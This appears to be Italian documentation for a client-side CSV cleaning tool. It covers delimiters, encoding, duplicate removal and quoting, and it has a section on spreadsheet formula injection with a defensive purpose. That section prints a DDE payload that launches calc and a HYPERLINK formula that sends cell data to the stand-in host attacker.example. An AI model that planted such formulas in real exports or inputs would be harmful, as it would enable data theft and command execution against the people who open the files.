Sistema delimitatori, intestazioni, duplicati e codifiche nelle esportazioni dei fogli di calcolo.
Un file CSV non è realmente un formato, è una famiglia di convenzioni. La specifica a cui punta la maggior parte degli strumenti, RFC 4180, è stata scritta in 2005 per descrivere cosa stava già facendo il software piuttosto che per dirgli cosa fare. Il risultato è che due programmi possono entrambi rivendicare il supporto CSV e tuttavia non essere d'accordo sul delimitatore, sulla fine della riga, sullo stile delle virgolette e sulla codifica dei caratteri.
La sorpresa più comune è il delimitatore. Il software venduto nei paesi che utilizzano una virgola come separatore decimale (la maggior parte dell'Europa continentale) esporta spesso file separati da punto e virgola, perché una virgola è già occupata. Quei file finiscono ancora con .csv. Aprine uno in uno strumento che presuppone le virgole e ogni riga si comprime in una singola colonna.
La seconda sorpresa più comune è la codifica. Un file salvato come UTF-8 spesso inizia con un indicatore invisibile di tre byte chiamato indicatore dell'ordine dei byte. Excel su Windows lo utilizza per riconoscere UTF-8. Molti strumenti Unix non se lo aspettano, quindi il segno viene incollato sul nome della prima intestazione e una colonna chiamata "id" diventa silenziosamente una colonna chiamata "id" a cui nessuna ricerca troverà mai corrispondenza.
Scegli il tuo fascicolo. L'analisi avviene in un thread di lavoro in background, quindi anche un'esportazione di grandi dimensioni non bloccherà la pagina durante la lettura.
Lasciare il delimitatore su "Rilevamento automatico" la prima volta. Il rilevamento funziona analizzando un campione con ciascun delimitatore candidato e scegliendo quello che produce il risultato rettangolare più coerente, motivo per cui non viene ingannato dalle virgole che si trovano all'interno dei campi tra virgolette di un file separato da punto e virgola. Se l'anteprima sembra ancora sbagliata, sovrascrivila manualmente.
Controlla il numero di righe e colonne nel selettore file prima di fare qualsiasi altra cosa. Se il conteggio delle colonne è 1, il delimitatore è sbagliato. Se il numero di righe è molto maggiore del previsto, il file probabilmente contiene ritorni a capo tra virgolette che un altro strumento ha già modificato.
Gli avvisi denominano il numero di riga specifico, contando nel modo in cui conteresti in un editor di testo, in modo da poter andare a esaminare direttamente il problema.
Un avviso di "riga irregolare" significa che una riga aveva un numero di celle diverso rispetto all'intestazione. Questo strumento non elimina mai quelle celle. Le righe corte sono riempite con spazi vuoti e le righe lunghe mantengono i loro valori extra, perché eliminare silenziosamente i dati di qualcuno per far sembrare ordinata una griglia è la cosa peggiore che uno strumento di pulizia possa fare. Correggi la riga di origine se la virgola in più è stata un errore.
Un avviso di "virgoletta non chiusa" significa che una virgoletta doppia è stata aperta e mai chiusa, quindi tutto ciò che è seguito è stato letto come un unico campo enorme. Si tratta quasi sempre di un vero e proprio danneggiamento del file sorgente e vale la pena correggerlo a monte piuttosto che a valle.
I pulsanti di pulizia si applicano all'intera tabella e ognuno di essi può essere annullato. La rimozione delle righe duplicate mantiene la prima occorrenza, quindi la riga originale sopravvive e l'ordine dei dati sopravvissuti non cambia.
I controlli delle colonne ti consentono di rinominare le intestazioni, scegliere quali colonne esportare e ordinare in base a qualsiasi colonna. L'ordinamento rileva se una colonna è numerica: una colonna numerica ordina 9 prima di 10, mentre una colonna di testo ordina "10" prima di "9", che di solito è ciò che desideri in ogni caso.
Prima di scaricare, guarda le opzioni di esportazione. L'opzione formula-injection-safe è attiva per impostazione predefinita ed è spiegata nella relativa guida di seguito: è quella impostata qui con una reale conseguenza in termini di sicurezza.
Un file CSV non contiene codice, ma un'applicazione per fogli di calcolo tratterà volentieri parte del suo testo come codice nel momento in cui il file viene aperto.
Excel, Fogli Google e LibreOffice Calc interpretano tutti una cella il cui primo carattere è =, +, - o @ come l'inizio di una formula. Questo comportamento è deliberato e utile quando lo digiti tu stesso. Diventa una vulnerabilità quando il contenuto della cella proviene da un luogo che non controlli.
Immagina un modulo Web che raccoglie un nome e un amministratore che esporta periodicamente gli invii a CSV e li apre in Excel. Un utente malintenzionato invia un nome che non è un nome ma una formula.
Un carico utile classico assomiglia a =cmd|' /C calc'!A0. Quando l'esportazione viene aperta, Excel la analizza come un'istruzione di scambio di dati dinamici anziché come testo. Le configurazioni più vecchie e senza patch tenterebbero di avviare un programma esterno. Le versioni moderne mostrano prima un messaggio di avviso, ma il messaggio è l'unica cosa che si frappone tra il carico utile e l'esecuzione e gli utenti fanno clic sui messaggi.
L'esfiltrazione dei dati è la variante più silenziosa e non necessita affatto di DDE. =HYPERLINK("https://attacker.example/?d="&A1,"Click per i dettagli") crea un collegamento contenente il contenuto di una cella vicina. Un amministratore curioso fa clic su di esso e una riga del foglio di calcolo lascia l'edificio in un URL. IMPORTXML in Fogli Google può recuperare un URL remoto senza che sia richiesto alcun clic.
Il punto importante è che l'aggressore non ha mai avuto bisogno di accedere al foglio di calcolo, allo strumento di esportazione o al computer dell'amministratore. Avevano bisogno di un solo campo di testo che alla fine raggiungesse un'esportazione CSV. Questo è il motivo per cui la vulnerabilità viene solitamente registrata nell'applicazione che ha prodotto il file, non nel foglio di calcolo che lo ha aperto.
Quando "Formula-injection-safe" è abilitato - ed è abilitato per impostazione predefinita - ogni cella il cui primo carattere è =, +, -, @, una tabulazione o un ritorno a capo è preceduta da un singolo apostrofo prima di essere scritta.
L'apostrofo è l'indicatore convenzionale del foglio di calcolo che significa "considera il resto di questa cella come testo letterale". Excel non lo visualizza nella cella; lo vedi solo nella barra della formula. Il carico utile è ancora visibile e ancora completamente recuperabile, ma è inerte.
La tabulazione e il ritorno a capo sono inclusi in quell'elenco perché sono spazi bianchi che alcuni filtri ingenui tagliano prima di controllare il primo carattere, il che consente a un carico utile di superare un controllo che guardava solo l'indice zero di una stringa tagliata. Il controllo del primo carattere grezzo colma questa lacuna.
La mitigazione modifica i tuoi dati e non esiste alcuna versione che non lo faccia. Se una cella conteneva effettivamente =SUM(A1:A2) perché si desiderava una formula funzionante nell'output, l'esportazione sicura la trasforma nel testo letterale =SUM(A1:A2) e non verrà calcolata. Un foglio di calcolo non può distinguere la formula da te prevista da quella di un utente malintenzionato, e nemmeno noi possiamo farlo.
Questo è esattamente il motivo per cui si tratta di un comportamento visibile piuttosto che silenzioso. Se stai esportando un file che dovrebbe contenere formule attive e ti fidi di ogni valore in esso contenuto, disattiva l'opzione deliberatamente e consapevolmente. Se i dati contengono qualcosa che ha avuto origine da un utente, un modulo, un cliente, un sondaggio o un sistema esterno, lascialo attivo.
Vale la pena conoscere un perfezionamento. Un'implementazione ingenua contrassegna ogni cella che inizia con un segno meno, il che altera ogni numero negativo nel file: -42 diventa '-42 e smette di essere un numero, corrompendo silenziosamente un'intera colonna di dati finanziari. Questo strumento esenta i valori che vengono analizzati come numeri semplici, quindi -42, -3.14 e -1e5 passano intatti mentre -1+1+cmd|' /C calc'!A0 no, perché non è un numero.
Fuga in scrittura, non in lettura. Il file che produci dovrebbe essere sicuro da aprire ovunque, perché non puoi controllare quale applicazione lo apre o quanti anni ha quell'applicazione.
Non fare affidamento sulla finestra di dialogo di avviso del foglio di calcolo come controllo. Si tratta dell'ultima linea di difesa rivolta a un utente che sta cercando di portare a termine il proprio lavoro e viene regolarmente respinta.
Non cercare di risolvere questo problema eliminando i personaggi pericolosi. L'eliminazione dell'iniziale = corrompe i dati legittimi e continua a perdere i payload che iniziano con uno spazio bianco. Il prefisso con un apostrofo preserva esattamente il valore originale rimuovendone l'eseguibilità, motivo per cui è l'approccio consigliato.
Un campo deve essere racchiuso tra virgolette doppie quando contiene il delimitatore, una virgoletta doppia o un'interruzione di riga. All'interno di un campo tra virgolette, una doppia virgoletta letterale viene scritta due volte: "lei ha detto ""ciao""" è un campo contenente lei ha detto "ciao".
Questo strumento cita minimamente l'esportazione: i campi vengono inseriti solo quando necessario. Ciò significa che un file in cui ogni campo è stato citato in input potrebbe risultare con meno virgolette. I dati sono identici - "Ada" e Ada hanno lo stesso valore - ma i byte differiscono. Se hai bisogno di citare ogni campo, usa l'opzione "Quota ogni campo".
I campi con spazi iniziali o finali significativi vengono sempre racchiusi tra virgolette, poiché diversi parser eliminano il riempimento senza virgolette e altrimenti modificherebbero i valori.
RFC 4180 specifica CRLF tra i record e questo è ciò che questo strumento scrive per impostazione predefinita, perché è la scelta più ampiamente compatibile tra gli strumenti Windows e Unix.
In input, vengono accettate tutte e tre le convenzioni: CRLF, LF e lone CR. Una nuova riga all'interno di un campo tra virgolette viene conservata come parte del valore e non inizia una nuova riga.
Il tuo file viene letto dal browser, analizzato in un Web Worker sul tuo dispositivo, trasformato in memoria e riscritto dal meccanismo di download del browser. Non viene mai trasmesso.
Niente viene memorizzato. Non esiste alcun salvataggio automatico, nessun database locale e nessuna cronologia che sopravviva al ricaricamento della pagina. Chiudendo la scheda si elimina tutto; "Cancella dati" fa lo stesso immediatamente.
Analisi e pubblicità sono disabilitate in questo prodotto, in ogni ambiente. Non vengono raccolti dati sull'utilizzo del tuo file, né il nome, la dimensione, i contenuti o i nomi delle colonne, perché nessuno di essi viene mai inviato da nessuna parte.